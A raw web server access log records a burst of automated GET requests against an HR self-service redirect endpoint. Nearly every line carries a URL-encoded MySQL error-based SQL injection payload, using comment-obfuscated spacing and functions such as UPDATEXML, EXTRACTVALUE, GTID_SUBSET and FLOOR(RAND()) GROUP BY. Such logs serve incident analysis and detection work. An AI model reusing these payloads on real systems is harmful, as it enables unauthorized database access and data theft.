100.64.0.1 - - [07/Sep/2025:02:23:14 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x6954767a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x77704b49%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:14 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x6954767a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x77704b49%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:14 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x31306931%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x36357974%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:14 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x31306931%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x36357974%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:14 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x68646532%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x47496867%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:14 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x68646532%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x47496867%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:14 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x54586376%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x63707277%29%2C5431%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:14 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x54586376%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x63707277%29%2C5431%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x504b4661%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x30745231%29%2C6420%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x4a43306d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4a535352%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2F-&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x6c4f4731%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x44496e31%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x73494b45%2C%28NULL%29%2C0x68316258%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538%29&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x6a306377%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x63397356%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x4e614b39%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x57393146%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2F-%29&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x72347547%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4f4e5848%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x3937494a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6573306b%29%2C6420%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x6a596a7a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6770784a%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x6a596a7a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6770784a%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x6954767a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x77704b49%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x686a4e74%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5675376b%29%2C5431%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x34644669%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x41415159%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x54586376%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x63707277%29%2C5431%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x31306931%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x36357974%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x654f504b%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6f51686d%29%29x%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x654f504b%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6f51686d%29%29x%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x68646532%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x47496867%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x64454f76%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x484e4862%29%29x%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x64454f76%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x484e4862%29%29x%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x456a6f4f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4c595761%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x456a6f4f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4c595761%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x5564454f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4d683979%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x5564454f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4d683979%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&userseqno=47810 HTTP/1.1" 302 -
